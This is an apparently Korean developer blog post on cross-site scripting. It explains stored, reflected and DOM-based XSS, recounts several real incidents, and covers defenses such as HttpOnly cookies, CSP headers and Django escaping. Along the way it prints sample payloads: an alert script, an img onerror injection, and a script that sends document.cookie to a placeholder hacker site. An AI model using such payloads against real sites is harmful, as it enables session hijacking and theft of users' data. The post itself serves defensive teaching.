XSS (Cross-Site Scripting)

Kyle·2022년 8월 4일
1

참고

What is cross-site scripting (XSS) and how to prevent it? | Web Security Academy

What is XSS (Cross-site Scripting)?

01. 시큐리티 - HTTP Only 와 Secure Cookie

Settings | Django documentation | Django

CSP로 웹사이트의 콘텐츠 보안 정책 설정하기

[10분 테코톡] 🔧알트의 XSS

XSS 공격이란?

  • 가장 널리 알려진 웹 보안 취약점 중 하나
  • 공격하려는 사이트에 악의적인 스크립트를 삽입하여 해당 스크립트가 희생자 측에서 동작하도록 함
  • 취약점을 이용하여 사용자의 개인정보 및 쿠키정보를 탈취하고 악성코드 감염, 웹페이지 변조 등의 공격을 수행하며 좀비 PC공격(명령), 쿠키탈취를 통한 세션하이재킹 공격 등을 한다.
  • 대표적인 공격 방식
    • Stored XXS
    • Reflected XSS
    • DOM based XSS

Stored XSS (저장형 XSS)

  • 공격자가 악의적인 스크립트를 삽입하여 서버에 저장됨
  • 해당 스크립트가 저장된 정상적인 서비스페이지에 접근할 때 클라이언트측에 스크립트가 노출되고 동작하게 되는 방식

flow

  1. 공격자가 악의적인 스크립트가 담긴 게시물을 등록
  2. 데이터베이스에 해당 스크립트가 저장됨
  3. 사용자가 게시글을 읽음
  4. 스크립트가 실행됨

공격 예시

Reflected XSS (반사형 XSS)

  • 웹 어플리케이션의 지정된 파라미터를 사용할 때 발생하는 취약점을 이용한 공격법
    • 검색어같은 쿼리스트링을 URL에 담아 전송했을 때, 서버가 필터링을 거치지않고 쿼리에 포함된 스크립트를 응답페이지에 담아 전송함으로써 발생
  • 공격용 스크립트가 대상 웹사이트에 있지않고, 다른 매체 ( 타 사이트, 이메일 ) 에 포함될 수 있다.
  • Stored XSS는 데이터베이스에 스크립트가 저장되지 않고 응답 페이지로 바로 클라이언트에 전달된다는 차이점이 있다.

flow

  • 악의적인 스크립트를 URL에 담아 공유
  • 해당링크 클릭시 스크립트 삽입된 페이지로 연결

공격 예시

  • 지정된 파라미터에 script 입력이 필터링 없이 그대로 스크립트를 응답페이지에 전송함으로써 실행되는걸 볼 수 있다.

DOM-based XSS

  • DOM : 문서 객체 모델, 웹페이지 내에 있는 모든 객체들을 조작, 관리할 수 있는 계층 구조형태의 모델
  • 클라이언트의 브라우저에서 DOM 환경을 수정한 결과 공격 페이로드가 실행되는 방식
  • Stored와 Reflected 가 서버측 어플리케이션 취약점으로 인해 공격하는 반면, DOM Based XSS 는 서버와 관계없이 브라우저에서 발생하는 것이 차이점이다.

flow

  • 웹 브라우저의 응답페이지에 포함된 자바스크립트가 동작
  • DOM 객체 실행
  • URL에 포함된 악성 스크립트 동작

공격 예시

XSS 공격 사례

네이버 웹툰 댓글 테러 사건

웹툰 댓글에 html을 태그할 수 있는 기능이 추가되고 이를 이용해 웹툰에서 각종 XSS 공격을 시행함 주로 image 태그를 통한 댓글창 도배가 주를 이루었다.

이 후 네이버 웹툰은 html 태그기능을 댓글창에서 제외함

뽐뿌 개인정보 유출 사건

뽐뿌 개인정보 유출 사건 당시 XSS 공격까지 가능하다는 것이 알려지면서 큰 이슈가 있었다. XSS 공격에 대응을 하지 않던 뽐뿌는 임시방편으로 html 에디터 관련된 사용 자체를 막으면서 이미지 업로드 기능을 사용하여 업로드된 이미지들이 나오지 않는 이슈가 존재했다.

UPS의 XSS 취약점을 악용하는 피싱 공격 발견 (2021년)

UPS.com에서 발견된 XSS 취약점을 악용하여 대규모 피싱 공격이 발견됐다. 공격자들은 XSS 공격을 할 수 있는 취약점을 이용하여, UPS 사칭 이메일을 만들어 피싱 메일을 통해 소비자들이 UPS.com에 접속하면 삽입된 스크립트를 통해 악성 페이로드를 다운로드 받게 공격을 진행했다.

XSS 공격 방지 방법

1. XSS 취약점이 있는 innerHTML 사용을 자제

  • HTML5에서는 innerHTML을 통해 주입한 스크립트는 실행되지 않는다.
    • <script>alert('hello');</script>
  • onerror 이벤트 속성을 통한 스크립트 주입은 여전히 가능하다.
    • <img src=x onerror=alert('xss attack')>
  • innerHTML 보다는 textContext, innerText를 사용하면 스크립트가 주입되지 않는다.

2. 쿠키에 HttpOnly 옵션을 활성화


크롬 개발자 도구

  • 아래 내용이 포함된 게시물을 공개 게시판에 작성할 경우 이 게시물을 읽은 다른 사용자가 js명령이 실행 되어 해커사이트로 이동되고, 이전 웹에 있었던 cookie 들을 URL 쿼리에 적히게 되어 해커사이트에서 cookie 파라미터를 받아 탈취하게 된다.
<script> location.href = '해커사이트주소?cookie=' + document.cookie </script>
  • 활성화 하지 않으면 스크립트를 통해 쿠키에 접근할 수 있어 Session Hijacking 취약점이 발생한다.
  • httpOnly 속성은 클라이언트(브라우저 등) 에서 설정할 수 없는 옵션이며, 서버단에서 설정할 수 있다. django에서는 setting값에서 **SESSION_COOKIE_HTTPONLY (Default: True) 옵션을 설정해주면 세션쿠키에 접근하지 못하도록 할 수 있다.
  • httpOnly는 쿠키를 사용할 경우에만 해당되므로 LocalStorage를 사용하는 경우에는 세션ID와 같은 민감한 정보를 저장하지 않도록 한다.

XSS로 인해 쿠키가 탈취되어 개인정보가 노출될 위험을 대비하여 할 수 있는 방법

  • 개인정보 Masking 처리 및 해당 정보 열람을 위해 본인 인증을 거치는 방법
  • 쿠키탈취로 인증 token을 탈취했을 경우 통하여 접근을 시도할 때 token이 생성된 IP와 비교하여 생성 IP가 아닌 경우 접근을 막는 방법

3. Content Security Policy 사용

  • 콘텐츠 보안 정책 (CSP)란 XSS 공격 및 데이터 삽입 공격을 막기 위한 추가적인 브라우저 보안 계층이다.
  • 헤더에 어디서 정보들을 갖고 올 것인지 명시를 해주는 방법이다. 아주 가끔 메타 태그에 CSP를 넣는 경우도 있다고 한다. https://content-security-policy.com/
  • 대부분의 브라우저가 CSP를 지원한다.
  • 유효한 도메인으로 지정한 도메인의 스크립트만 실행하여 XSS 위험성을 낮춘다.
  • 완전 방어가 아닌 예방의 차원이라고 생각하며 적용해야한다.
  • CSP 문법
#모든 콘텐츠는 현재 도메인에서만 제공되어야 한다. ( 하위 도메인의 리소스만 사용 )
Content-Security-Policy: default-src 'self'

#신뢰할 수 있는 특정 도메인과 그것의 모든 하위 도메인의 콘텐츠를 허용한다.
Content-Security-Policy: default-src 'self' *.domain.com

#이미지는 모든 도메인, 미디어와 스크립트는 특정 도메인만 허용한다.
Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com

#기본적으로 HTTPS를 사용하는 특정 도메인만 사용하도록 한다.
Content-Security-Policy: default-src https://onlinebanking.mybank.com

CSP가 걸려있는것과 걸려있는 정도를 파악해주는 사이트

https://csp-evaluator.withgoogle.com/

4. XSS 특수문자 치환

  • 대부분 라이브러리가 존재하여 적용이 가능하다.

django에서는 어떻게 처리할까?

  • django Template 을 이용하면 (풀스택으로 django를 활용할 경우) 텍스트가 자동 escaping 처리가 되어 XSS 공격이 방지 된다.
    • 신뢰할 수 있는 데이터의 경우 safe 템플릿 태그를 이용하여 자동이스케이프 예외 처리를 해줄 수 있다.
      • {{ text | safe }}
  • <, >, &, \, , 같은 문자열을 안전한 문자열로 바꿔주는 escape 기능이 존재한다.
_html_escapes = {
    ord('&'): '&amp;',
    ord('<'): '&lt;',
    ord('>'): '&gt;',
    ord('"'): '&quot;',
    ord("'"): '&#39;',
}


@keep_lazy(str, SafeText)
def escape(text):
    """
    Return the given text with ampersands, quotes and angle brackets encoded
    for use in HTML.

    Always escape input, even if it's already escaped and marked as such.
    This may result in double-escaping. If this is a concern, use
    conditional_escape() instead.
    """
    return mark_safe(str(text).translate(_html_escapes))
  • python의 html 표준 라이브러리를 사용한다.
from html import escape, unescape  # python 3.x

>>>print(excape("<"))
&lt;

>>print(unescape("&lt;"))
<

그 외 보안 라이브러리

  1. AntiXSS

    AntiXSS 라이브러리는 마이크로소프트사에서 개발한 공개용 XSS 취약점 예방 라이브러리. ASP.net 애플리케이션 개발환경에서 사용되며, 현재ASP.net 4.5 이후 버전에만 사용이 가능

  2. OWASP ESAPI 라이브러리
    XSS 취약점을 예방하기 위해 API로 validator와 encoder가 있다. validator는 입력 값을 필터링하는 기능을 하고 있으며, encoder는 출력 값을 인코딩 및 디코딩 기능을 가지고 있다.
    OWASP Antisamy

  3. Naver Lucy XSS Filter
    https://github.com/naver/lucy-xss-filter

OWASP는 XSS 공격 방지 7계명을 발표하기도 했다.

Open Web Application Security Project : 오픈소스 웹 애플리케이션 보안 프로젝트, 가장 큰 오픈소스 웹 앺 ㅡㄹ리케이션 보안 프로젝트로 주로 웹에 관한 정보노출, 악성파일 및 스크립트, 보안 취약점 등을 연구한다.

  1. 허용된 위치가 아닌 곳에 신뢰할 수 없는 데이터가 들어가는 것을 허용하지 않는다.
  2. 신뢰할 수 없는 데이터는 검증을 하여라.
  3. HTML 속성에 신뢰할 수 없는 데이터가 들어갈 수 없도록 하여라.
  4. 자바스크립트에 신뢰할 수 없는 값이 들어갈 수 없도록 하여라.
  5. CSS의 모든 신뢰할 수 없는 값에 대해서 검증하여라.
  6. URL 파라미터에 신뢰할 수 없는 값이 있는지 검증하여라.
  7. HTML 코드를 전체적으로 한번 더 검증하여라.
profile
깔끔하게 코딩하고싶어요

1개의 댓글

comment-user-thumbnail
2023년 12월 21일

좋은 글 감사합니다!!

답글 달기